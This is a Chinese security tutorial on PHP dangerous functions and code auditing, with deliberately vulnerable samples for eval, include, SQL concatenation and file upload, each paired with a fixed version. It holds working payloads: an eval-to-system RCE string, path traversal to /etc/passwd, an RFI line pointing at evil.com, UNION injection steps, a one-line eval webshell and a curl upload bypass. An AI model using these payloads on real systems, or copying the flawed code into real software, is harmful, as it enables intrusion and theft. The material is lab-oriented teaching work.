📚 网络安全Kali学习系列 · 模块0-4 编程基础
已完成:模块0-1 Linux系统深度(6篇) ✅ | 模块0-2 计算机网络(4篇) ✅ | 模块0-3 密码学基础(3篇) ✅
14 Python安全编程:socket编程与端口扫描器 ✅
15 Bash脚本与安全自动化:工具链与日志解析 ✅
16 PHP基础与Web漏洞:危险函数与代码审计(当前篇)
17 JavaScript与前端安全:DOM操作与XSS

PHP基础与Web漏洞:危险函数与代码审计

难度:基础 | 上一篇你用 Bash 粘合工具链解析日志,本篇换到 Web 视角——PHP 是漏洞密度最高的后端语言,读懂危险函数才能从源码层面理解 SQL 注入和文件上传的成因
读完本篇你将能:在 Kali 上用 php -S 启动内置服务器运行 PHP 代码,识别 eval/system/include 等危险函数的利用条件,从一段 PHP 源码中定位 SQL 注入点和文件上传绕过路径——这是模块 2 Web 渗透之前,从代码层面理解漏洞成因的核心准备。
📑 本文目录
01PHP与Web漏洞:为什么PHP是漏洞重灾区
02PHP基础语法:变量、超全局与表单处理
03危险函数详解:eval/system/exec/include
04SQL注入代码层面:从拼接字符串到注入点
05文件上传漏洞审计:从check到bypass
06安全红线与练习

01 PHP与Web漏洞:为什么PHP是漏洞重灾区

上一篇你用 Bash 在终端里解析日志。本篇视角切换到 Web 后端——在所有后端语言中,PHP 是安全审计绕不开的语言。不是因为 PHP 本身不安全,而是因为它的部署量最大、历史遗留代码最多、入门门槛最低导致大量未经安全审查的代码上线。OWASP Top 10 中的注入、文件上传、反序列化漏洞,在 PHP 项目中出现频率远高于其他语言。

PHP 当前最新稳定版为 8.5.9(2026 年 7 月发布),Kali Linux 通过 apt install php 默认安装 PHP 8.4。但互联网上仍有大量 PHP 5.x 和 7.x 的历史站点——这些老版本的默认配置(magic_quotes、register_globals 等已废弃特性)正是漏洞高发区。代码审计时,先确认目标 PHP 版本再判断危险函数行为。

版本 发布时间 危险默认特性 安全状态
PHP 5.x 2004-2019 register_globals、magic_quotes 已停止安全更新
PHP 7.x 2015-2023 默认开启危险函数 已停止安全更新
PHP 8.x 2020-至今 默认 stricter type、移除安全模式 8.3/8.5 安全支持中

安全工程师看 PHP 源码时,关注点不是"这段代码实现了什么功能",而是"这段代码的输入从哪来、有没有经过过滤、最终流向哪个危险函数"。这种阅读方式叫做"污点追踪"(taint tracking)——从用户可控输入出发,追踪数据流直到它到达危险函数。本篇从 PHP 基础语法讲起,最终实现一个完整的 SQL 注入漏洞代码审计。

02 PHP基础语法:变量、超全局与表单处理

你已经掌握了 Python 和 Bash 的变量概念。PHP 变量多一个 $ 符号前缀——$name、$age。但 PHP 对安全最重要的不是变量本身,而是"超全局数组"——这些数组直接承载用户输入,是所有 Web 漏洞的源头。

先在 Kali 上启动 PHP 内置服务器,写第一段代码。内置服务器不需要 Apache/Nginx,适合安全学习和漏洞复现:

Shell · 启动PHP内置服务器
# 安装 PHP CLI(Kali 通常已预装)
sudo apt install php-cli
# 确认版本
php -v
# 在项目目录启动内置服务器(监听 8000 端口)
php -S 127.0.0.1:8000

执行 php -v 输出示例:

输出
PHP 8.4.3 (cli) (built: Jan 15 2026 14:22:08) (NTS)
Copyright (c) The PHP Group
Zend Engine v4.4, Copyright (c) Zend Technologies

服务器启动后,在同级目录创建 index.php,浏览器访问 http://127.0.0.1:8000/index.php 即可运行。现在看 PHP 中最关键的"超全局数组"——这是用户输入进入 PHP 代码的入口:

PHP · super_globals.php
1
2
3
4
5
6
7
8
9
10
<?php
// 超全局数组:用户输入的四大入口
$_GET['id']    // 来自URL参数?id=1
$_POST['user']   // 来自表单POST提交
$_COOKIE['session'] // 来自HTTP Cookie
$_FILES['avatar']  // 来自文件上传
$_REQUEST      // GET+POST+COOKIE的合并
$_SERVER['HTTP_USER_AGENT'] // 来自HTTP请求头
?>

这六个超全局数组是 PHP 代码审计的"入口标记"——任何一次漏洞挖掘都从找 $_GET、$_POST 等数组开始。写一个接收用户输入并直接输出的页面——这是最基础的"反射"场景:

PHP · input.php
1
2
3
4
5
<?php
$name = $_GET['name'];
echo "Hello, " . $name;
// 访问 input.php?name=Kali 输出: Hello, Kali
?>
💡 小贴士
$_REQUEST 合并了 GET、POST、COOKIE 三种输入。代码审计时如果看到 $_REQUEST,意味着攻击者可以通过三种方式传递 payload——不仅 URL 参数能触发漏洞,POST 表单和 Cookie 也能触发,攻击面比单独 $_GET 大三倍。

上面这段代码看起来人畜无害——用户输入名字,页面回显问候语。但如果把 URL 改成 input.php?name=<script>alert(1)</script>,浏览器会把这段 JavaScript 当成代码执行——这就是最原始的反射型 XSS。PHP 直接把用户输入拼到 HTML 输出中,没有任何转义。这是模块 2 要深入讲的 XSS 漏洞,本篇先建立"输入即不可信"的认知。

03 危险函数详解:eval/system/exec/include

上一章你理解了"输入从哪来"——超全局数组。本章关注"输入流向哪去"——危险函数。PHP 的危险函数分为三大类:代码执行类、命令执行类、文件包含类。每一类对应不同的漏洞类型,但共同特征是:如果用户输入能到达这些函数且未经严格过滤,漏洞就成立。

先看代码执行类——eval() 是最危险的函数,它把字符串当作 PHP 代码执行:

PHP · eval_vuln.php
1
2
3
4
5
6
7
8
<?php
// 漏洞代码:用户输入直接进 eval()
$code = $_GET['code'];
eval($code);
// 攻击payload:执行系统命令
// ?code=system("id");
?>

访问 eval_vuln.php?code=system("id"); 时,eval() 把 system("id") 当作 PHP 代码执行,system() 又执行了系统命令 id——两层调用,直接 RCE(Remote Code Execution,远程代码执行)。这就是为什么 eval() 被称为"PHP 危险函数之王"。

命令执行类函数有四个:system()、exec()、passthru()、shell_exec()。它们都能执行系统命令,区别在于输出处理方式不同:

函数 输出方式 返回值 利用难度
system() 直接输出到页面 最后一行 最易利用
exec() 返回数组需手动输出 最后一行 需构造回显
passthru() 原始输出二进制数据 无 最易利用
shell_exec() 返回字符串需echo 完整输出 需构造回显

第三类是文件包含类——include、require、include_once、require_once。这些函数把另一个文件的内容插入当前 PHP 文件执行。如果文件路径可控,攻击者可以包含任意文件——这叫"文件包含漏洞"(LFI/RFI):

PHP · lfi_vuln.php
1
2
3
4
5
6
7
8
9
<?php
$page = $_GET['page'];
include("pages/" . $page . ".php");
// 正常用法: ?page=about → include("pages/about.php")
// LFI攻击: ?page=../../../../etc/passwd%00
// → 读取系统passwd文件
// RFI攻击: ?page=http://evil.com/shell.txt
?>
⚠️ 常见错误
$page = $_GET['page']; include($page); — 用户输入直接传入 include(),路径完全可控,攻击者可包含任意文件
✓ 正确:白名单限制可选页面 $whitelist = ['about','contact','home']; if(in_array($page,$whitelist)){include("pages/$page.php");}

PHP 5.3.4 起默认关闭了 allow_url_include,RFI(远程文件包含)在现代 PHP 中已基本不可用。但 LFI(本地文件包含)仍然常见——攻击者通过 ../ 目录跳转读取 /etc/passwd、/var/log/auth.log 等敏感文件。PHP 8.x 移除了 %00 截断特性,但 pearcmd.php 包含等新利用链仍在涌现。

04 SQL注入代码层面:从拼接字符串到注入点

你已经理解了危险函数的利用条件——用户输入到达危险函数且未过滤。现在把这个分析框架应用到 Web 漏洞中最经典的 SQL 注入。SQL 注入的本质是:PHP 把用户输入拼接到 SQL 语句字符串中,用户输入中的 SQL 特殊字符(单引号、分号、注释符)改变了 SQL 语句的语义。

先搭建一个有漏洞的 PHP 页面。用 PHP 内置服务器 + SQLite 数据库(无需安装 MySQL,Kali 自带 SQLite 扩展):

PHP · sqli_vuln.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$db = new PDO('sqlite:users.db');
// 建表插入测试数据(仅首次运行)
$db->exec("CREATE TABLE IF NOT EXISTS users(
    id INTEGER, username TEXT, password TEXT)"
$db->exec("INSERT INTO users VALUES(1,'admin','s3cr3t')");
// ⚠️ 漏洞代码:字符串拼接SQL
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id=" . $id;
$result = $db->query($sql);
foreach ($result as $row) {
echo $row['username'] . ":" . $row['password'];
}
?>

这段代码的污点追踪链:$_GET['id'] → $id → 字符串拼接进 $sql → query() 执行。整条链路没有任何过滤。看正常请求和注入请求的区别:

正常请求
?id=1
→
SQL: WHERE id=1
→
正常返回
admin:s3cr3t
注入请求
?id=1 OR 1=1
→
SQL: WHERE id=1 OR 1=1
→
返回所有用户
条件恒真

正常请求 ?id=1 生成 SQL SELECT * FROM users WHERE id=1——只返回 id=1 的用户。注入请求 ?id=1 OR 1=1 生成 SQL SELECT * FROM users WHERE id=1 OR 1=1——1=1 恒为真,WHERE 条件失效,返回所有用户。这就是 SQL 注入的本质——用户输入改变了 SQL 语义。

更危险的 payload 是联合查询注入(UNION-based)——用 UNION SELECT 拼接额外的查询结果:

URL · UNION注入payload
# 1. 判断注入点(单引号闭合测试)
sqli_vuln.php?id=1'
→ SQL报错:说明单引号进入了SQL语句
# 2. 判断列数(ORDER BY递增)
sqli_vuln.php?id=1 ORDER BY 3
sqli_vuln.php?id=1 ORDER BY 4
→ ORDER BY 4报错,说明有3列
# 3. UNION查询所有用户密码
sqli_vuln.php?id=-1 UNION SELECT 1,username,password FROM users
→ 返回所有用户的用户名和密码

第三步 id=-1 让原查询返回空(id=-1 不存在),UNION SELECT 的结果占满输出位置——这是 UNION 注入的标准技巧。修复方案是使用 PDO 预处理语句(prepared statement),把数据和 SQL 结构分离:

PHP · sqli_safe.php(修复版)
1
2
3
4
5
6
7
<?php
// ✅ 安全写法:预处理语句分离数据与SQL
$id = $_GET['id'];
$stmt = $db->prepare("SELECT * FROM users WHERE id=?");
$stmt->execute([$id]);
$result = $stmt->fetchAll();
?>

? 是占位符,execute([$id]) 把 $id 作为数据绑定——数据库引擎知道 1 OR 1=1 是一个字符串值而非 SQL 语法,不会改变 WHERE id=? 的结构。预处理是防御 SQL 注入的根本方案——不是过滤输入,而是让输入永远不可能成为 SQL 语法的一部分。

💡 小贴士
代码审计找 SQL 注入的快速方法:在源码中搜索 $_GET、$_POST、$_REQUEST,追踪变量是否进入了 query()、exec() 等执行函数。如果中间出现了 prepare(),说明用了预处理——基本安全。如果看到字符串拼接(. 连接),说明有注入风险。

05 文件上传漏洞审计:从check到bypass

上一章你理解了 SQL 注入的代码层面成因——字符串拼接。本章看另一种高危漏洞:文件上传。文件上传漏洞的核心是:PHP 服务器允许用户上传文件,但如果对文件类型、内容、存储路径检查不严,攻击者可以上传一个 .php 文件(webshell),然后通过 URL 访问它执行任意命令。

先看一个有漏洞的文件上传代码——它只检查了文件扩展名,但检查方式有缺陷:

PHP · upload_vuln.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
if ($_FILES['file']['error']
    === UPLOAD_ERR_OK) {
    $name = $_FILES['file']['name'];
    $ext = pathinfo($name, PATHINFO_EXTENSION);
    // ⚠️ 漏洞:黑名单过滤不完整
    $blacklist = ['php', 'phtml'];
    if (!in_array($ext, $blacklist)) {
        move_uploaded_file(
            $_FILES['file']['tmp_name'], "uploads/" . $name);
    }
}
?>

这段代码用黑名单过滤——只禁止 php 和 phtml 扩展名。但 PHP 能执行的扩展名远不止这两个。以下是常见的绕过方式:

绕过方式 扩展名 原理
大小写绕过 .PHP / .Php Windows 不区分大小写
Apache解析 .php5 / .pht httpd.conf 配置可执行
双扩展名 shell.php.jpg Apache 从右向左解析
空字节截断 shell.php%00.jpg PHP<5.3.4 空字节截断
.htaccess .htaccess 上传配置文件改解析规则

一个典型的 webshell——上传后通过 URL 访问就能执行任意命令:

PHP · shell.php(一句话木马)
1
2
3
<?php
@eval($_POST['cmd']);
?>

这行代码就是著名的"一句话木马"——只有一行 PHP 代码,@ 抑制错误输出,eval() 把 POST 参数 cmd 的值当作 PHP 代码执行。攻击者用浏览器或中国菜刀/蚁剑等工具连接,向 cmd 参数发送 system("whoami"),服务器就执行命令并返回结果。这是模块 4 后渗透阶段维持权限的常用手段。

安全修复方案是用白名单代替黑名单——只允许明确安全的文件类型,同时重命名上传文件、禁止上传目录执行 PHP:

PHP · upload_safe.php(修复版)
1
2
3
4
5
6
7
8
9
10
11
<?php
// ✅ 白名单 + 随机重命名
$allow = ['jpg', 'png', 'gif'];
$ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allow)) {
die("文件类型不允许");
}
// 随机文件名,防覆盖和路径猜测
$newname = bin2hex(random_bytes(16)) . '.' . $ext;
move_uploaded_file($_FILES['file']['tmp_name'], "uploads/" . $newname);
?>

修复版做了三件事:白名单只允许图片格式、strtolower() 统一小写防大小写绕过、random_bytes(16) 生成随机文件名防猜测路径。此外还应在 Apache/Nginx 配置中禁止 uploads 目录执行 PHP——这是纵深防御,即使绕过了应用层检查,Web 服务器也不会执行 .php 文件。

⚠️ 常见错误
只检查 $_FILES['file']['type'] — 这个值来自浏览器 HTTP 请求头 Content-Type,用 Burp Suite 一秒就能改成 image/jpeg 伪装。客户端传来的任何数据都不可信
✓ 正确:用 pathinfo() 从文件名提取扩展名 + 白名单过滤 + 服务端禁止执行PHP

06 安全红线与练习

本篇所有漏洞复现必须在本地环境进行——Kali 上的 PHP 内置服务器、自己的虚拟机、或 DVWA 靶场。PHP 的危险函数 eval()、system()、include 在真实 Web 服务器上意味着 RCE——远程代码执行。如果在他人网站上测试 SQL 注入或上传 webshell,即使只是为了"验证漏洞是否存在",也已触犯《刑法》第 285 条非法侵入计算机信息系统罪。合法练习方式:本机 127.0.0.1、自己的云服务器、DVWA/Vulhub 靶场、PortSwigger Web Academy。

📖 知识回顾
$_GET/$_POST eval()代码执行 system()命令执行 include文件包含 SQL字符串拼接 PDO预处理 黑名单vs白名单 一句话木马 污点追踪
✏️ 动手练习
🟢 基础验证
在 Kali 上启动 PHP 内置服务器,编写一个 phpinfo.php 文件,内容为 <?php phpinfo(); ?>,浏览器访问确认 PHP 环境正常。然后修改第四章的 sqli_vuln.php,用浏览器访问 ?id=1 和 ?id=1 OR 1=1,对比两次输出的差异。
🟡 组合应用
给第五章的 upload_vuln.php 添加 MIME 类型检查($_FILES['file']['type']),验证这个检查能否被 Burp Suite 修改 Content-Type 绕过。提示:用 curl -F "file=@shell.php;type=image/jpeg" 模拟绕过。这是模块 2 Burp Suite 的预热练习。
🔴 开放挑战
用 PHP 写一个包含 SQL 注入 + 文件上传双重漏洞的"靶场页面"——登录页面存在 SQL 注入(可用 ' OR 1=1-- 绕过认证),登录后有文件上传功能(黑名单过滤不完整)。然后审计你自己写的代码,标注每个漏洞的污点追踪链和修复方案。这是模块 2 DVWA 靶场练习的代码层面准备。
下篇预告
17 JavaScript与前端安全:DOM操作与XSS
将学习 JavaScript 基础语法与 DOM 操作,理解反射型/存储型/DOM 型 XSS 的触发条件与代码层面成因——这是模块 2 Web 渗透 XSS 章节之前,从前端视角理解漏洞的最后一环
关注公众号 · 持续获取安全学习系列